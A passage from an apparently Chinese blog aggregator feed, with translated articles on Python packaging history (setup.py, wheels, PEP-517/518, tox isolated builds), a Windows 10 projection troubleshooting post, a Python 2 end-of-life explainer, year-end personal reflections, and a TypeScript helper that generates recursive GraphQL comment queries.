打包是很难的。在业余时间完善打包系统,使用户可以在打包期间编写和运行任意代码,但还不引起任何破坏,这几乎是不可能的。
现在有了 PEP-518,构建时依赖项是明确的,并且构建环境易于创建。有了 PEP-517,我们可以使用更具声明性的打包命名空间,这减少了用户犯错的可能,当错误不可避免时,也能提供更好的消息。
诚然,在进行这些更改时,某些程序包可能会损坏,并且我们可能令曾经有效的方法失效。但是,我们(PyPa 的维护者)并不是出于恶意而这样做的,因此,当出现错误时,请务必填写详细的错误报告,例如什么错误、你的使用方法,以及你的用例。
我们努力在真诚地改善打包生态系统,为此我们创建了集成测试【10】存储库,以确保将来至少可以捕获到其中的一些边缘用例,免得它们落入到你的机器中。如果你对打包有任何建议或诉求,请随时在“ 讨论Python论坛【11】”的打包部分进行讨论,或者为相关工具提一个 issue。
Milan Popovic摄/ Unsplash—结束了
先到此为止了,谢谢阅读完!我要感谢Paul Ganssle【12】审阅了打包系列文章,并要感谢Tech At Bloomberg【13】允许我在工作期间作开源贡献。

相关链接

[1] Python packaging - Growing Pains: https://www.bernat.tech/growing-pain/
[2] TOML文件格式。: https://github.com/toml-lang/toml
[5] pip 18.0(于2018年7月22日发布): https://pip.pypa.io/en/stable/news/%23id61#id61
[6] 请参阅附录的问题。: https://github.com/pypa/pip/issues/6158
[11] 讨论Python论坛: https://discuss.python.org/c/packaging
[12] Paul Ganssle: https://twitter.com/pganssle
[13] Tech At Bloomberg: https://twitter.com/techatbloomberg

January 05, 2020 12:00 AM

January 04, 2020

pythoncat

Python 打包——过去、现在与未来

原作 | BERNAT GABOR
译者 | 豌豆花下猫
声明 :本文获得原作者授权翻译,转载请保留原文出处,请勿用于商业或非法用途。
你是否想过在运行 pip install 时究竟发生了什么?这篇文章将给你一个关于过去所涉及的步骤的详细综述,以及它是如何随着 PEP-517 和 PEP-518 的采用而改变的。
前一篇文章中,我描述了如何做到安装三种类型的内容:源码树(source tree)、源发行版(source distribution)和 wheel。只有最后两种类型会被上传到 PyPi 中央存储仓,但你也可以获得源码树(例如,通过为 pip 加入 git 协议)。与其它类型相比,wheel 的优点是不需要在用户机器上进行任何构建操作;只需要下载和提取。

构建 Python 包

现在可以独立出构建的环境(用户或开发者的机器),但你仍然需要构建包(sdist 或 wheel)。为了做到这一点,你需要一些适当的构建器。在过去,对第三方包的需求很早就表现出来了。
遵循内置电池的原则,在 2000 年的 Python 1.6 中,distutils【2】包被添加进 Python 标准库中。它引入了包含构建逻辑的setup.py 文件的概念,并通过python setup.py 命令触发。
它允许用户将代码打包成库,但没有声明(declaration)及自动安装依赖库等功能。而且,它的升级周期直接与核心解释器的发布周期绑定。
setuptools 于 2004 年创建,它构建在 distutils 之上,并扩展了其它优秀的特性。它很快变得非常流行,以至于大多数 Python 安装包开始将其与核心解释器一起提供。
在那个时候,所有的包都是源发行版。wheel 分发方式出现得很晚,是在 2014 年。distutils 是在只有少数非常精通打包的人的时候创建的。因此它是非常灵活和命令式的(imperative),你写一个 Python 脚本,可以修改包生成过程中的每一步。
但这样做的缺点是,它一点也不容易学习和理解。随着 Python 的流行,这开始成为一个越来越严重的问题,因为有越来越多的用户对 Python 内部的工作原理不是很精通。
Charles PH 摄/Unsplash—ehhh

构建依赖项

关于安装一个源发行版,pip 主要做了以下工作:
  1. 找到这个包

  2. 下载源发行版并提取它

  3. 在提取的文件夹上运行python setup.py install(进行构建+安装)

开发者运行python setup.py sdist 生成分发包,运行python setup.py upload 上传到中央存储仓(上传命令在 2013 年被弃用了,因为有 twine【3】工具,更主要是因为 upload 使用了不安全的 HTTP 连接,而且上传命令会做一次新的构建,也就不允许最终用户在实际上传之前检测(inspect)生成的包)。
当 pip 运行python setup.py install时,它使用 Python 解释器来安装包。因此,构建操作可以访问该解释器中已经存在的所有三方包。最值得注意的是,它完全使用了安装在主机 Python 解释器上的 setuptools 版本。如果一个包使用了 setuptools 的新版本特性,那么完成安装的唯一方法就是首先更新已安装的 setuptools。
如果新版本包含了能破坏其它包的 bug,就会导致出问题。在用户无法更改已安装包的系统上,这尤其麻烦。当构建器(例如 setuptools)希望使用其它辅助包(例如 cython)时,这也是个问题。
如果缺少构建器的辅助,通常会抛出导包失败的错误:
File "setup_build.py", line 99, in run
    from Cython.Build import cythonize
ImportError: No module named Cython.Build
在开发者们这边,没办法提供此类构建依赖项。而对于用户这边,则需要预先安装所有的包构建依赖,即使他们不会在运行时使用到。为了解决这个问题, PEP-518【4】被创建了。
其思想是,与其将主机的 Python 与其当前安装的构建包一起使用,不如给软件包提供一种能力,令其清楚地说明其构建操作所需的内容。另外,与其在主机 Python 上提供此功能,我们是创建了一个独立的 Python(类似某种虚拟环境)来运行打包。
python setup.py install 现在可以:
  1. 创建一个临时文件夹

  2. 创建一个隔离的(从三方库的 site packages 中)Python 环境 python -m virtualenv our_build_env,让我们将这个 Python 可执行文件称为python_isolated

  3. 安装构建的依赖项

  4. 通过python_isolated setup.py bdist_wheel,生成一个用于安装的 wheel

  5. 提取 wheel 到 Python 的 site packages 文件夹

有了这个,我们可以安装依赖于cython 的包,但不必在运行的 Python 环境中实际安装cython。指定构建依赖项的文件与方法的是pyproject.toml元数据文件:
[build-system]
requires = [
    "setuptools >= 40.8.0",
    "wheel >= 0.30.0",
    "cython >= 0.29.4",
]
此外,它还允许打包者指定他们需要的最小版本,而借助用户机器上的 pip,可以轻易地找出这些版本。
当在开发者的机器上生成源发行版或 wheel 时,也可以使用相同的机制。当一个人调用pip wheel . --no-deps命令时,该命令会自动在后台创建一个包含构建依赖项的独立 Python,然后在该环境中调用python setup.py bdist_wheelpython setup.py sdist 命令。
Bruce Galpin摄/Unsplash—yay!

多样的打包工具

但这里还有一个问题。请注意,所有这些操作仍然须通过 20 年前引入的机制,即执行setup.py。整个生态系统仍然构建在 distutils 和 setuptools 的接口基础之上,由于试图保持向后兼容性,没法作太大的变更。
此外,在打包过程中执行用户端 Python 代码是危险的,这可能会导致经验较少的用户难以调试的细微错误。命令式的(imperative)构建系统在 20 年前对于灵活性来说非常重要,当时我们还不知道所有的情况,但是现在我们已经认识清楚了,很可能可以为不同的情况创建出非常健壮和简单的包构建器。
引用 Paul Ganssle【5】(setuptools 与 dateutil 的维护者)的话:

理想情况下,默认选项应该是一个声明式的(declarative)构建配置,适用于 99% 的情况,再提供一个退回到命令式系统的选项,供真正需要灵活性时使用。在这情况下,如果你发现还需要选择用命令式的构建,那么我们可以认为出现了坏味道代码。

setup.py 的最大的问题是大多数人是声明式地使用它,所以当他们用命令式时,往往会将 bug 引入到构建系统。一个这样的例子:如果你有一个 Python2.7 的依赖项,你可能会试图有条件地在 setup.py 中指定 sys.version,但 sys.version 仅指的是执行构建的解释器;相反,你应该对需求项使用声明式的环境标记…

在 2015 年的引入的flit【6】已经证明了这一假设的正确性。它已经成为许多 Python 新手最喜欢的打包工具,因为它可以确保新用户避免很多这样的麻烦。然而,要达到这个目的,flit 必须再次构建在 distutils/setuptools 之上,这使得它的实现非常关键,并且代码仓出现相当多的垫片层(例如,它仍然为源发行版生成 setup.py 文件)。
现在是时候把它从这些束缚中解放出来了,同时也鼓励其他人构建自己的打包工具来简化打包,是时候让 setup.py 成为例外而不是默认的了。setuptools 计划提供【7】一个用户专用的setup.cfg 接口来起带头作用,当一个 PEP-517 系统就位时,在大多数情况下,你应该选择它而不是使用 setup.py。
为了不把所有东西都绑定到 setuptools 和 distutils 上,并使后端的构建变得便利, PEP-517【8】被创建了。它将构建器分成后端和前端。前端提供了一个隔离的 Python 环境,满足所有声明的构建依赖项;后端提供了钩子,被前端从其隔离环境中调用,以生成源发行版或者 wheel。
此外,我们不再通过 setup.py 文件或命令与后端通信,而是使用了 Python 模块和函数。所有后端的打包必须提供一个 Python 对象 API,至少实现 build_wheel【9】和 build_sdist【10】两个方法。该 API 对象是通过 pyproject.toml 文件指定的,使用build-backend 键值:
[build-system]
requires = ["flit"]
build-backend = "flit.api:main"
上述代码对于前端意味着,你可以通过在隔离的 Python 环境中运行它来控制后端:
import flit.api
backend = flit.api.main

# build wheel via 
backend.build_wheel()

# build source distribution via
backend.build_sdist()
由后端决定要在哪里和怎样公开自己的官方 API:
  1. flit【11】通过flit.buildapi实现
  2. setuptools【12】提供了两种变体:setuptools.build_meta(后面会解释原因)
  3. poetry【13】通过poetry.masonry.api实现
因为这些,我们就拥有了不再受 distutils 遗留决策约束的打包工具。
Sarthak Dubey摄/Unsplash—更多 yay!

tox 和打包

tox 是一个测试工具【14】,大多数项目使用它来确保某个包在多个 Python 解释器上的版本兼容性。它还可以轻松地创建 Python 环境,在里面安装被监测的包,从而更快地复现问题。
为了能够测试一个包,它首先需要构建一个源发行版。虽然 PEP-518 和 PEP-517 都带有好的意图,但是在某些情况下,启用它们可能会破坏打包过程。因此,当 tox 在 3.3.0 版本中添加隔离构建时,决定暂时不默认启用它。你需要手动启用它(可能会在今年晚些时候——2019 年的版本 4 中默认启用)。
一旦你指定了一个pyproject.toml ,写了适当的requiresbuild-backend,你需要启用tox.ini 中的isolated_build标志:
[tox]
isolated_build = True
在此之后,在打包过程中【15】,tox 将在独立的 Python 环境中为每个 PEP-518 提供构建依赖项,来构建源发行版,并调用 PEP-517 所述的构建后端。
若不启用该功能,tox 将使用老方法构建源发行版,也就是使用安装了 tox 的解释器来调用python setup.py sdist命令。
Matthew Henry摄/Unsplash—这里没有免费的午餐呢!

小结

Python 打包官方希望所有这些都是有意义的,并因此拥有一个更用户友好的、防错的(error proof )和健壮的构建。这些标准的规范是在 2015 年至 2017 年的长期主题中写作并争论出来的。这两个提案(PEP-517/518)被认为是足够好的,可以获得最大的收益,但是一些不太主流的场景可能会被忽略。
如果你的情况是被忽略的,不要担心,如果我们认为必要的话,PEP 在任何时候都是拥抱改进意见的。在本系列的下一篇文章中【16】,我将讨论社区在发布这两个 PEP 时碰撞到的一些痛点。这些都是我们应该吸取的教训,并且表明着我们仍有一些工作要做。还不是一切都完美,但我们正在变得更好。如果你可以帮帮忙,就加入打包社区吧,让我们一起把事情做得更好!

附1:勘误

前一篇文章中,source distribution 被译成“源码分发”,但它还有一个更被人采用的译法是“源发行版”,为了便于接受,所以本文已作修改。翻译匆忙,如有错误,欢迎读者指正!万分感谢!PS:后续若有修正,会在知乎专栏修改,请关注“Python进阶之旅”:https://zhuanlan.zhihu.com/pythonCat

附2:相关链接

[1] Python packaging - Past, Present, Future: https://www.bernat.tech/pep-517-518/
[5] Paul Ganssle: https://twitter.com/pganssle
[16] 下一篇文章中: https://www.bernat.tech/growing-pain/

January 04, 2020 12:00 AM

January 03, 2020

anji66

win10不能分屏

最近在车间做数据投屏,因为有上海和浙江两个工厂,所以是部署在云端的基于B/S架构的系统。简单点就拉了个主机当做投屏电脑用,还记得之前那篇帖子里面提到的七代的主板坑了八代的CPU的博文么,对又是它,价格低到不能低的组装机,在做投屏的时候又坑了我一把。插根HDMI高清线到大屏上,熟练的WIN+P,系统提示你的电脑不能投影到其他屏幕。请尝试重新安装驱动程序或使用其他视频卡。

未标题-3.jpg


第一个反应是,需要去更新下驱动,win10联网状态下直接update系统一下,或者在设备管理器里面找到显示适配器,更新下驱动,结果,显示驱动是最新的。无解。那只能是第二个系统提示原因了,难道那个赛扬G4900的集显不支持投屏,这泥煤的9102年年末了。只能去dxdiag诊断一下了。


dxdiag诊断

win+r运行,输入dxdiag.exe回车,调出dxdiag诊断工具。打开后啥也不用做,等左下角进度条走完。然后点击保存所有信息。会生成一个dxdiag的文本文件。双击打开dxdiag.txt。然后光标定位到文件开始位置,ctrl+F搜索Miracast,向下查找。如果看到NotAvailable,“恭喜”你这个显卡不支持投屏。必须要换一个显卡。如果是Available, with HDCP,那不能投屏的原因肯定就不是显卡的问题了。

未标题-1.jpg


我的这个很显然,赛扬G4900的集显核心确实不支持,无奈只好再买一个独立显卡装上。


by 西枫里 at January 03, 2020 01:32 PM

pythoncat

Python 打包的现状:包的三种类型

原作 | BERNAT GABOR
译者 | 豌豆花下猫
声明 :本文获得原作者授权翻译,转载请保留原文出处,请勿用于商业或非法用途。
pip 19.0 已经于 2019 年 1 月 22 日发布。在其功能列表中,最值得注意的是它现在支持 PEP-517,默认情况下是支持的,如果项目的根目录中有一个 pyproject.toml。该 PEP 于 2015 年创建,并于 2017 年被接受。尽管 pip 花了一段时间才实现它,但该版本及其后续问题却表明,很多人根本不熟悉它。
如果你想了解 Python 打包(packaging)生态的现状及将来如何演变,请继续阅读。我们希望,即使上述提到的 Python 增强提案(译注:即 PEP,关于 PEP 的介绍,请阅读这篇文章),如今可能会引起一些不愉快,但从长远来看,我们将从中受益。
我大约在三年前加入了 Python 开源社区(尽管使用它已有 8 年之久)。从早期开始,我就听说 Python 打包有一点黑匣子的名声。它有很多未知的内容,人们通常只复制其它项目的构建配置文件,就使用上了。
在尝试更好地理解这个黑匣子,并对其进行改进的过程中,我已经成为了 virtualenv 和 tox 项目的维护者,偶尔也为 setuptools 和 pip 做些贡献。
我希望对这个主题进行详尽的(并希望是一个较高水平的)论述,并决定将其分为三个部分。在这第一篇文章中,我将对 Python 打包的工作方式及其所具有的打包类型进行大概介绍。在第二篇文章中,我将详细地介绍软件包的安装方式,以及 PEP-517/518 是如何尝试对其进行改进的。最后,我再专门写另一篇文章,以介绍在引入这些改进时,我们吸取的一些痛苦的教训。
事先声明,我将主要关注 Python 官方的打包系统(即 pip、setuptools,因此没有 conda 或特定于操作系统的打包程序)。
Marcus Cramer 摄/Unsplash—人们第一次凝视 Python 打包时的脸

一个示例项目

为了讲这个故事,我需要先讲讲如何分发 Python 软件包的故事;更具体地说,包的安装在过去是如何运作的,以及我们希望它在将来如何运作。
为了有一个具体的示例,让我介绍一下我的很棒的示例库:pugs 。这个库相当简单:它只生成一个名为 pugs 的包,仅包含一个名为 logic 的模块。关于 pugs,你猜对了,logic 被用于生成随机的引号。这是一个展现为源码树(source tree)的简单示例结构(可以在gaborbernat / pugs 【2】里获得):
pugs-project
├── README.rst
├── setup.cfg
├── setup.py
├── LICENSE.txt
├── src
│   └── pugs
│       ├── __init__.py
│       └── logic.py
├── tests
│   ├── test_init.py
│   └── test_logic.py
├── tox.ini
└── azure-pipelines.yml
这里有四类独特的内容:
我们的pugs 包在用户机器的解释器上能用,意味着什么?在理想情况下,一旦启动解释器,用户应该能够 import 它,并调用其中的函数:
  • 业务逻辑代码(src 文件夹中的内容)

  • 测试代码(tests 文件夹和 tox.ini)

  • 包代码和元数据(setup.py、setup.cfg、LICENSE.txt、README.rst—请注意,我们如今使用的是事实上的标准打包工具setuptools【3】)

  • 有助于项目管理和维护的文件:

    • 持续集成(azure-pipelines.yml)
    • 版本控制(.git)
    • 项目管理(例如潜在的 .github 文件夹)
Python 3.7.2 (v3.7.2:9a3ffc0492, Dec 24 2018, 02:44:43)
[Clang 6.0 (clang-600.0.57)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import pugs
>>> pugs.do_tell()
"An enlightened pug knows how to make the best of whatever he has to work with - A Pug's Guide to Dating -  Gemma Correll"
Ryan Antooa 摄/Unsplash—让我们开始吧,兴奋!

Python 包的可用性

Python 怎么知道什么可用或不可用?简短的答案是,它不知道。至少不在前期知道。相反,它将尝试加载,并动态地检查是否可用。
它从哪里加载?有许多可能的位置,但是在大多数情况下,我们说的是从文件系统的文件夹中加载。这个文件夹在哪里呢?对于给定的模块,可以打印该模块的表示(representation)来找出:
>>> import pugs
>>> pugs
<module 'pugs' from '/Users/bernat/Library/Python/3.7/lib/python/site-packages/pugs/__init__.py'>
你会发现文件夹的位置取决于:
  • 软件包的类型(三方库或者标准库的内置/aka部分)
  • 它是全局的或仅限于当前的用户(请参阅PEP-370【4】)
  • 以及它是系统 Python 还是一个虚拟环境
但是一般来说,对于给定的 Python 解释器,可以通过打印出 sys.path 变量的内容,来找到可能的目录列表,例如在我的 MacOS 上:
>>> import sys
>>> print('\n'.join(sys.path))
/Library/Frameworks/Python.framework/Versions/3.7/lib/python37.zip
/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7
/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload
/Users/bernat/Library/Python/3.7/lib/python/site-packages
/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages
对于第三方软件包,会是一些 site-packages 文件夹。在以上示例中,请注意哪些是在整个系统范围内,哪些仅属于一个特定的用户。这些包是如何被放在此文件夹中的?它一定是由某些安装程序放在那里的。
下图展示了大多数的运行情况:
  1. 开发者在文件夹(称为源码树)内编写一些 Python 代码。
  2. 然后,某些工具(例如 setuptools)将源码树打包以进行重新分发。
  3. 生成的软件包通过另一个工具(twine),上传到可以被终端用户计算机访问的中央存储仓(通常为https://pypi.org【5】)。
  4. 终端用户计算机使用一些安装程序来查找、下载和安装相关软件包。安装操作最终是在 site-packages 文件夹内,创建正确的目录结构和元数据。
Pinho/摄—在探索新鲜事物

Python 包的类型

在安装时,软件包必须生成至少两种类型的内容,以放入 site-packages 中:有关软件包内容的元数据文件夹,其中包含 {package}-{version} .dist-info 和业务逻辑文件。
/Users/bgabor8/Library/Python/3.7/lib/python/site-packages/pugs
├── __init__.py
├── __pycache__
│   ├── __init__.cpython-37.pyc
│   └── logic.cpython-37.pyc
└── logic.py

/Users/bgabor8/Library/Python/3.7/lib/python/site-packages/pugs-0.0.1.dist-info
├── INSTALLER
├── LICENSE.txt
├── METADATA
├── RECORD
├── WHEEL
├── top_level.txt
└── zip-safe
发行信息(dist-info)文件夹描述了该软件包:用于安装该软件包的安装程序、该软件包所附的许可证、在安装过程中创建的文件、顶层 Python 软件包是什么、该软件包暴露的入口等等。在PEP-427【6】 中可以找到每个文件的详细说明。
我们如何从源码树中获得这两种类型的内容呢?我们面前有两条截然不同的路径:
  1. 从我们的源码树生成此目录结构和元数据,将其压缩为单个文件,然后将其发布到中央软件包存储仓。在这种情况下,安装程序必须下载软件包并将其解压到 site-packages 文件夹中。我们将这种类型的包称为 wheel 包。
  2. 或者,你可以创建一个包含软件包源码的归档文件,构建所需的脚本和元数据,以生成可安装的(installable)目录结构,然后将其上传到中央存储仓。这称为源码分发或 sdist。在这种情况下,安装程序还有很多工作要做,它需要解压归档文件,运行构建器,然后再将其复制。
这两个方法的区别主要在于包的编译/构建操作发生在哪里:在开发者的计算机上还是在终端用户的计算机上。如果它发生在开发者的一边(例如在 wheel 的情况下),则安装过程非常轻巧。一切都已经在开发机器上完成了。用户机器的操作仅是简单的下载和解压。
在本例中,我们使用 setuptools 作为构建器(从源码树生成要放入 site-packages 文件夹中的内容)。因此,为了在用户机器上执行构建操作,我们需要确保在用户机器上有合适版本的 setuptools (如果你使用的是 40.6.0 版的功能,则必须确保用户具有该版本或大于该版本)。
要考虑的另一种情况是 Python 提供了从其内部访问 C/C++ 库的能力(在需要的地方获得额外的性能)。这样的软件包被称为 C 扩展包(C-extension packages),因为它们利用了 CPython 提供的 C 扩展 API。
此类扩展需要编译 C/C++ 功能,才能适用与其交互的 C/C++ 库和当前 Python 解释器的 C-API 库。在这些情况下,构建操作实际上涉及到调用一个二进制编译器,而不仅仅是像纯 Python 包(例如我们的 pugs 库)那样,生成元数据和文件夹结构。
如果在用户计算机上进行构建,则需要确保在构建时,有可用的正确的库和编译器。现在这是一项相对困难的工作,因为有些特定于平台的二进制文件,也是通过平台打包工具分发的。这些库的缺失或版本不匹配通常会在构建时触发隐秘的错误,使用户感到沮丧和困惑。
因此,如果可能的话,始终选择将 package 打包成 wheel。这将完全避免用户缺少正确的构建依赖项的问题(纯 Python 类型如 setuptools 或二进制类型的 C/C++ 编译器)。即使这些构建依赖项易于配置(例如,使用纯 Python 构建器—例如 setuptools),你完全可以避免此步骤,来节省安装的时间。
话虽如此,仍然有两种需要提供源码分发的情况(即使在你提供 wheel 的情况下):
  1. C 扩展的源码分发往往更易于审核,因为人们可以阅读源代码,从而在其内容上有更高的透明度:许多大型公司的环境出于此单一原因,更倾向于使用 wheel(它们通常会将此扩展到纯 Python wheel,主要是为了避免对哪些是纯 Python 和什么不是做分类)。
  2. 你可能无法为每个可能的平台都提供一个 wheel(在使用 C 扩展包的情况下,尤其如此),在这种情况下,源码分发可以让这些平台自行生成 wheel。

小结

源码树(source tree)、源码分发(source distribution)和 wheel 之间的区别:
  • 源码树——包含在开发者的机器/存储仓上可用的所有项目文件(业务逻辑、测试、打包数据、CI 文件、IDE 文件、SVC 等),例如,请参见上面的示例项目。
  • 源码分发——包含构建 wheel 所需的代码文件(业务逻辑+打包数据+通常还包括单元测试文件,用于校验构建;但是不包含开发者环境的内容,例如 CI/IDE/版本控制文件),格式:pugs-0.0 .1.tar.gz 。
  • wheel——包含包的元数据和源码文件,被放到 site packages 文件夹,格式:pugs-0.0.1-py2.py3-NONE-any.whl 。
Charles PH 摄/Unsplash—hmmm
可在此阅读本系列的下一篇文章【7】,了解在安装软件包时会发生什么。谢谢阅读!

相关链接

[1] The state of Python Packaging: https://www.bernat.tech/pep-517-and-python-packaging/
[2] gaborbernat / pugs: https://github.com/gaborbernat/pugs

January 03, 2020 12:00 AM

January 02, 2020

pythoncat

开发者请注意:Python2 的最后版本将于 4 月发布,但它确实是在 1 月 1 日就寿命终止了!

2020 年 1 月 1 日是 Python2 的寿命终止日,这个日期在两年前经”Python之父” Guido van Rossum 宣布,此后一直成为开发者社区翘首以盼的一天。
昨天就是这个大快人心的日子,各种变了花样的喜庆报道不绝于目。调侃的玩笑也不少,比如这个:
还有这个(别信!):
然而,我今天偶然看到一位大佬的疑问,大意如下:官网发布的 Python2 退休日期说是 4 月,那个倒计时网站是不是冒充的官方消息?
他所说的官网消息是这篇——
怎么回事呢?传了那么久的元旦退休消息,竟然会不准确?那么多人在热热闹闹地庆祝着,竟然是在庆祝一个假消息么?
我搜索那篇文章,仔细读了一遍,然后才注意到发布日期是 2019 年 12 月 20 日,也就是两周前。文中没有提到 1 月 1 日,也没提 4 月的具体日子。
文章属实,但日期明显矛盾,这是怎么回事呢?官方应该会有所解释吧?带着疑问,我去翻看官方和几个核心开发者的推特。
经过一番资料查阅,我终于搞清楚了怎么回事,也找到了所谓的”官方解释”。
简单说明结论:2020-01-01 是板上钉钉的 Python2 的 EOL (end of life,寿命终止)日子,但是在这个日子前的版本发布周期还在进行,最后一个版本按计划是在今年 4 月的 Pycon US 大会上发布。
Python2.7 在 2019 年的最后一个版本是 10 月 19 日发布的 2.7.17 版本,在它之后直到2020-01-01 之间产生的所有问题,开发者们是接受的,而计划合入的版本将是 4 月 17 日的 2.7.18 版本。
以篮球比赛中的压哨球来类比,你就明白怎么回事了:球离手在空中飞了三分之一路程,这时终止的哨声吹响,最后这球中袋了当然还是有效的。
进行了三分之一的 2.7.18 版本,就像离手之球,离弦之箭,泼出之水,负责任的 Python 官方还是要认可它的。
其实,这个决定并不是最近确定的,早在 2019 年 9 月,Python2 的版本经理 Benjamin Peterson 就公布了这个计划,这里是当时的邮件组截图:
有不少开发者表示了疑义:为什么不能把 4 月的发布计划提前呢?如果是 4 月发布最后版本,为什么不说 4 月才是 EOL 呢?为什么容许出现两个不一致的日期?
根据我对讨论内容的理解,主要有如下原因:
  • 12 月末不是一个方便的“工作”时间(因为感恩节放假!)
  • 4 月有一年一度的社区大会,届时大家可以集体宣泄
  • Python 1 的最后版本(1.6.1)已经有此先例
有不少开发者也表示附议,认可这个安排。
如果 PSF 在发布那篇“4 月退休”的文章时,对此安排作出解释,也许大家就不会有那么多困惑了,更不至于怀疑自己在传播假消息……
看到这,你也应该理解了来龙去脉吧?不过,我相信还是有读者有疑问:既然早就知道会有这个尾巴要处理,为什么不能加快进度,多投精力,争取一分不差地在 2019-12-31 发布最后一个版本呢?
追进度、赶 deadline、加班加点,这种事情在国内互联网领域是司空见惯了。然而,Python 核心开发者们几乎都是志愿者,花的是业余兴趣时间,他们的主业可能都不至于 996,怎么能指望在副业上 996 呢?!不要强人所难!
最后,不管怎么说,Python2 确实是在 2020-01-01 就 EOL 了,此后自生自灭。
它的最后一个版本会在 4 月份发布(只包含 1 月 1 日前的问题),我们不用着急,就让这只球飞一会吧,等到球落袋的时候,我们再一起,举杯相庆!

January 02, 2020 12:00 AM

January 01, 2020

pythoncat

我的 2019 年 Python 文章榜单

现在是 2020 年的第一天,我相信从昨天开始,各位的信息流里肯定充斥了各式各样的年度盘点/回顾/总结/记录之类的内容。虽然来得稍晚了,但我还是想给诸位送上这一篇文章。
我将在本文中列出自己于 2019 年度里最喜爱的 10 篇 Python 文章。我的选择标准是极为个性化的,甚至会有点任性,因为我的第一条标准是:文章必须是我原创或者翻译的。
如标题所言,这就是“我的”文章榜单。同时,为了丰富本文内容,我在榜单之后,还会附上其他人所盘点的文章榜单,给大家呈上更多的精彩内容。

我的年度十佳文章

附录三份榜单:

1、爱湃森年度 Python 榜单

2、RealPython 年度 Python 榜单

----出处:TalkPython 播客

3、Opensource 年度 Python 榜单

----出处:Opensource的盘点

January 01, 2020 12:00 AM

December 31, 2019

anji66

再也不见2019,你好2020!

前两年的年终盘点一直写的是再见2018,再见2017,突然发现,很多事可以重来,唯独,时光一去不复返,所以今年盘点改成了再也不见2019。虽然有些许怆然,但岁月不正是如此吗?那些好的坏的、有的没的,都随着时间湮没在了过往。套用总书记的新年贺词:让我们只争朝夕,不负韶华,共同迎接2020年的到来!


博客数据

flag去年已经没立了吧,因为前年的flag妥妥的在去年打脸。没立flag,就更懒散的更文了,所以简单盘点下2019的数据吧。博文连这一篇共计36篇,大概不到去年的一半,有几个月份都是0更新。评论71条。新注册本站的朋友有51位,其中只有18位朋友绑了手机号。访问量总计40W。大概就是这些把,实在不值一提。


工作数据

2018年年中进入新公司,如今正好是一年半载。挂着项目经理头衔,干着细碎的杂活。到了2019年年中,组好了IT团队,一个标准的四人小组,一个设计师,一个前端工程师,一个后端工程师,外加我一个项目兼产品经理。论岗位经验,全是初出茅庐。论技术实力,全是半桶晃荡水。是四个臭皮匠顶个诸葛亮,还是四个魑魅魍魉也全然不好说。结果就是差不多我不在一线写代码了,上次和律师聊了蛮多,似乎我倒是真的发现我的职业方向了,有个懵懂的概念,以后再详细来说。


健康数据

一年一度的体检,总结一下,三高得了两高,外加轻中度脂肪肝。体重70.6公斤,BMI指数23.6处于超重临界点。收缩压145毫米汞柱。总胆固醇6.88毫摩尔每升。甘油三酯2.29毫摩尔每升。轻中度脂肪肝,谷丙转氨酶50.4国际单位每升。总的来说比高峰时候要有好转,体重从75公斤降低到71公斤,重度脂肪肝转成轻中度脂肪肝,谷丙转氨酶从100多降到50几。但还是妥妥的亚健康状态,虽然吃的比以前更少了。2019年还遇到一桩和健康有关的事,一发小同学,在2019年猝死了,今年也才不过35岁,唏嘘不已。


步入中年

2020年虚岁36了,按照老家做寿的传统,一般从出生开始,三朝,周岁,十六,三十六,六十九,七十九,八十九,九十九这样的做法。正常应该是正月间要办个三十六的寿宴,当然我同我爱人同年,所以我们一致认为还是不要办了,兴师动众,扰人烦忧!寿宴可以不办,但这年岁是真真的来了,人至中年,上有几老,下有一小,鸭不鸭梨也就管中窥豹可见一斑了。


祝新年好

那啥,萝卜要一截一截吃,日子要一天一天过,啥也不说了,祝广大朋友2020更上一层楼!


by 西枫里 at December 31, 2019 01:46 PM

December 30, 2019

2heng

GraphQL 实现递归查询

当我们需要用 GraphQL 查询多层套嵌的数据,比如像 WordPress 这样套嵌的评论信息时,通常的写法是:

{
  posts(first: 100) {
    nodes {
      id
      title
      comments {
        nodes {
          ...CommentFields
          replies: children {
            nodes {
              ...CommentFields
              replies: children {
                nodes {
                  ...CommentFields
                  replies: children {
                    nodes {
                      ...CommentFields
                      replies: children {
                        nodes {
                          ...CommentFields
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

fragment CommentFields on Comment {
  id
  date
  type
  approved
  content
}

以上的写法只实现了四层套嵌评论的查询,很麻烦对不对?这或许是 GraphQL 的缺陷,但这也或许正体现了 GraphQL 的设计理念——所得即所查。

找了一下,没有现成的轮子,就自己写一个套嵌实现吧(注意 graphql 查询语句要顶头写,多余的缩进会影响递归结果):

import ApolloClient from 'apollo-boost'
import gql from 'graphql-tag'

class getPostCommentByPostId {
  private postId: number
  private MaxChildrenLevel: number
  private data: any

  /**
   * @param {number} postId           wordpress post id
   * @param {number} MaxChildrenLevel post threaded (nested) comments levels deep (/wp-admin/options-discussion.php)
   */
  public constructor(postId: number, MaxChildrenLevel) {
    this.postId = postId
    this.MaxChildrenLevel = MaxChildrenLevel
  }

  // 处理递归部分
  private queryChildren() {
    let queryHeader: string = ``
    let queryFooter: string = ``
    // 迭代之前的内容
    const childrenHeader: string = `
children {
  nodes {
    ...CommentFields`
    // 迭代之后的内容
    const childrenFooter: string = `
  }
}`

    // 处理每行前的空格
    let addTabs = function (str: string, n: number) {
      return str.replace(/^/gm, '  '.repeat(n)) // 注意我用的是两格缩进,四格缩进请自行调整
    }

    for (let i = 0; i < this.MaxChildrenLevel; i++) {
      queryHeader = addTabs(childrenHeader + queryHeader, 2)
      queryFooter = addTabs(queryFooter + childrenFooter, 2)
    }
    return addTabs(queryHeader + queryFooter, 2)
  }

  // 查询部分
  private query() {
    const client: ApolloClient = new ApolloClient()
    client.query({
      query: gql`
query GET_POST($postId: Int) {
  postBy(postId: $postId) {
    id
    postId
    title
    date
    uri
    content
  }
  comments {
    edges {
      node {
        ...CommentFields${this.queryChildren()}
      }
    }
  }
}
fragment CommentFields on Comment {
  date
  agent
  content(format: RENDERED)
  commentId
  author {
    ... on CommentAuthor {
      email
      name
      url
    }
  }
  authorIp
}
`,
      variables: {
        "postId": this.postId
      },
    })
      .then(data => console.log(data))
      .catch(error => console.log(error))
  }
}

The post GraphQL 实现递归查询 appeared first on 樱花庄的白猫.

by Mashiro at December 30, 2019 04:00 PM

December 28, 2019

chengweiyang

2019 总结

